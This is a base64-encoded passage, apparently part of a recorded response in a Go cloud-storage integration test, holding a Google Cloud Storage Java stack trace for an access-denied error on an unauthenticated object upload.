F2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6NDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuaW5zZXJ0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcbiwgZG9tYWluPWdsb2JhbCwgZXh0ZW5kZWRIZWxwPW51bGwsIGh0dHBIZWFkZXJzPXtXV1ctQXV0aGVudGljYXRlPVtCZWFyZXIgcmVhbG09XCJodHRwczovL2FjY291bnRzLmdvb2dsZS5jb20vXCJdfSwgaHR0cFN0YXR1cz11bmF1dGhvcml6ZWQsIGludGVybmFsUmVhc29uPVJlYXNvbnthcmd1bWVudHM9e30sIGNhdXNlPW51bGwsIGNvZGU9Z2RhdGEuQ29yZUVycm9yRG9tYWluLlJFUVVJUkVELCBjcmVhdGVkQnlCYWNrZW5kPXRydWUsIGRlYnVnTWVzc2FnZT1jb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6QUNDRVNTX0RFTklFRDogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRvUnBjM0V4Y2VwdGlvbihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjE0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YTo0NClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5pbnNlcnQoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjk1KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5ScGNSZWNlaXZlci5sYW1iZGEkcHJvY2Vzc1JlcXVlc3RBc3luYyQ0KFJwY1JlY2VpdmVyLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmlzb2xhdGlvbi5Bc3luY0V4ZWN1dG9yLmxhbWJkYSRzdWJtaXQkMChBc3luY0V4ZWN1dG9yLmphdmE6MjUzKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoQ29udGV4dFJ1bm5hYmxlLmphdmE6NTApXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlJDEucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM5KVxuXHRhdCBpby5ncnBjLkNvbnRleHQucnVuKENvbnRleHQuamF2YTo1NjUpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5DdXJyZW50Q29udGV4dC5ydW5JbkNvbnRleHQoQ3VycmVudENvbnRleHQuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dE5vVW5yZWYoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjcyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoR2VuZXJpY0NvbnRleHRDYWxsYmFjay5qYXZhOjY0KVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzUpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvci5ydW5Xb3JrZXIoVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6MTE0OSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yJFdvcmtlci5ydW4oVGhyZWFkUG9vbEV4ZWN1dG9yLmphdmE6NjI0KVxuXHRhdCBqYXZhLmxhbmcuVGhyZWFkLnJ1bihUaHJlYWQuamF2YTo3NDgpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzEyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIwKVxuXHQuLi4gMTcgbW9yZVxuLCBlcnJvclByb3RvQ29kZT1SRVFVSVJFRCwgZXJyb3JQcm90b0RvbWFpbj1nZGF0YS5Db3JlRXJyb3JEb21haW4sIGZpbHRlcmVkTWVzc2FnZT1udWxsLCBsb2NhdGlvbj1lbnRpdHkuYXV0aGVudGljYXRlZF91c2VyLCBtZXNzYWdlPUFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPWhlYWRlcnMuQXV0aG9yaXphdGlvbiwgbWVzc2FnZT1Bbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC4sIHJlYXNvbj1yZXF1aXJlZCwgcnBjQ29kZT00MDF9IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OkFDQ0VTU19ERU5JRUQ6IEFub255bW91cyBjYWxsZXIgZG9lcyBub3QgaGF2ZSBzdG9yYWdlLm9iamVjdHMuY3JlYXRlIGFjY2VzcyB0byBnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDEvbm9hdXRoLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkluc2VydE9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoSW5zZXJ0T2JqZWN0LmphdmE6NDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZVJlcXVlc3RSZWNlaXZlZChSZXF1ZXN0SGFuZGxlci5qYXZhOjMxMClcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlKFJlcXVlc3RIYW5kbGVyLmphdmE6MjU2KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLk9iamVjdHNEZWxlZ2F0b3IuaW5zZXJ0KE9iamVjdHNEZWxlZ2F0b3IuamF2YTo5NSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQW5vbnltb3VzIGNhbGxlciBkb2VzIG5vdCBoYXZlIHN0b3JhZ2Uub2JqZWN0cy5jcmVhdGUgYWNjZXNzIHRvIGdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMS9ub2F1dGguXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuYXV0aC5BdXRoZW50aWNhdG9ySW50ZXJjZXB0b3IuYWRkQ2hhbGxlbmdlSGVhZGVyKEF1dGhlbnRpY2F0b3JJbnRlcmNlcHRvci5qYXZhOjI2OSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmF1dGguQXV0aGVudGljYXRvckludGVyY2VwdG9yLnByb2Nlc3NFcnJvclJlc3BvbnNlKEF1dGhlbnRpY2F0b3JJbnRlcmNlcHRvci5qYXZhOjIzNilcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmF1dGguR2FpYU1pbnRJbnRlcmNlcHRvci5wcm9jZXNzRXJyb3JSZXNwb25zZShHYWlhTWludEludGVyY2VwdG9yLmphdmE6NzY4KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5pbnRlcmNlcHQuQXJvdW5kSW50ZXJjZXB0b3JXcmFwcGVyLnByb2Nlc3NFcnJvclJlc3BvbnNlKEFyb3VuZEludGVyY2VwdG9yV3JhcHBlci5qYXZhOjI4KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc3RhdHMuU3RhdHNCb290c3RyYXAkSW50ZXJjZXB0b3JTdGF0c1JlY29yZGVyLnByb2Nlc3NFcnJvclJlc3BvbnNlKFN0YXRzQm9vdHN0cmFwLmphdmE6MzE1KVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5pbnRlcmNlcHQuSW50ZXJjZXB0aW9ucyRBcm91bmRJbnRlcmNlcHRpb24uaGFuZGxlRXJyb3JSZXNwb25zZShJbnRlcmNlcHRpb25zLmphdmE6MjAyKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5pbnRlcmNlcHQuSW50ZXJjZXB0aW9ucyRBcm91bmRJbnRlcmNlcHRpb24uYWNjZXNzJDIwMChJbnRlcmNlcHRpb25zLmphdmE6MTAzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuY29yZS5pbnRlcmNlcHQuSW50ZXJjZXB0aW9ucyRBcm91bmRJbnRlcmNlcHRpb24kMS5jYWxsKEludGVyY2VwdGlvbnMuamF2YToxNDQpXG5cdGF0IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLmludGVyY2VwdC5JbnRlcmNlcHRpb25zJEFyb3VuZEludGVyY2VwdGlvbiQxLmNhbGwoSW50ZXJjZXB0aW9ucy5qYXZhOjEzNylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldEV4Y2VwdGlvbihBYnN0cmFjdEZ1dHVyZS5qYXZhOjc1Mylcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2OClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkRpcmVjdEV4ZWN1dG9yLmV4ZWN1dGUoRGlyZWN0RXhlY3V0b3IuamF2YTozMClcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLmV4ZWN1dGVMaXN0ZW5lcihBYnN0cmFjdEZ1dHVyZS5qYXZhOjExNDMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLnV0aWwuY29uY3VycmVudC5BYnN0cmFjdEZ1dHVyZS5jb21wbGV0ZShBYnN0cmFjdEZ1dHVyZS5qYXZhOjk2Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24udXRpbC5jb25jdXJyZW50LkFic3RyYWN0RnV0dXJlLnNldChBYnN0cmFjdEZ1dHVyZS5qYXZhOjczMSlcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUudXRpbC5DYWxsYWJsZUZ1dHVyZS5ydW4oQ2FsbGFibGVGdXR1cmUuamF2YTo2Milcblx0YXQgY29tLmdvb2dsZS5hcGkuc2VydmVyLnRocmVhZC5UaHJlYWRUcmFja2VycyRUaHJlYWRUcmFja2luZ1J1bm5hYmxlLnJ1bihUaHJlYWRUcmFja2Vycy5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLlRyYWNlQ29udGV4dCRUcmFjZUNvbnRleHRSdW5uYWJsZS5ydW5JbkNvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6NDUzKVxuXHRhdCBjb20uZ29vZ2xlLmFwaS5zZXJ2ZXIuc2VydmVyLkNvbW1vbk1vZHVsZSRDb250ZXh0Q2FycnlpbmdFeGVjdXRvclNlcnZpY2UkMS5ydW5JbkNvbnRleHQoQ29tbW9uTW9kdWxlLmphdmE6ODAyKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlJDEucnVuKFRyYWNlQ29udGV4dC5qYXZhOjQ2MClcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JEFic3RyYWN0VHJhY2VDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihUcmFjZUNvbnRleHQuamF2YTozMTkpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5UcmFjZUNvbnRleHQkQWJzdHJhY3RUcmFjZUNvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHQoVHJhY2VDb250ZXh0LmphdmE6MzExKVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuVHJhY2VDb250ZXh0JFRyYWNlQ29udGV4dFJ1bm5hYmxlLnJ1bihUcmFjZUNvbnRleHQuamF2YTo0NTcpXG5cdGF0IGNvbS5nb29nbGUuZ3NlLmludGVybmFsLkRpc3BhdGNoUXVldWVJbXBsJFdvcmtlclRocmVhZC5ydW4oRGlzcGF0Y2hRdWV1ZUltcGwuamF2YTo0MDMpXG5DYXVzZWQgYnk6IGNvbS5nb29nbGUuYXBpLnNlcnZlci5jb3JlLkZhdWx0OiBJbW11dGFibGVFcnJvckRlZmluaXRpb257YmFzZT1MT0dJTl9SRVFVSVJFRCwgY2F0ZWdvcnk9VVNFUl9FUlJPUiwgY2F1c2U9bnVsbCwgZGVidWdJbmZvPWNvbS5nb29nbGUubmV0LnJwYzMuUnBjRXhjZXB0aW9uOiBjbG91ZC5iaWdzdG9yZS5SZXNwb25zZUNvZGUuRXJyb3JDb2RlOjpBQ0NFU1NfREVOSUVEOiBBbm9ueW1vdXMgY2FsbGVyIGRvZXMgbm90IGhhdmUgc3RvcmFnZS5vYmplY3RzLmNyZWF0ZSBhY2Nlc3MgdG8gZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAxL25vYXV0aC5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuSW5zZXJ0T2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChJbnNlcnRPYmplY3QuamF2YToyMDQpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5JbnNlcnRPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKEluc2VydE9iamVjdC5qYXZhOjQ0KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVy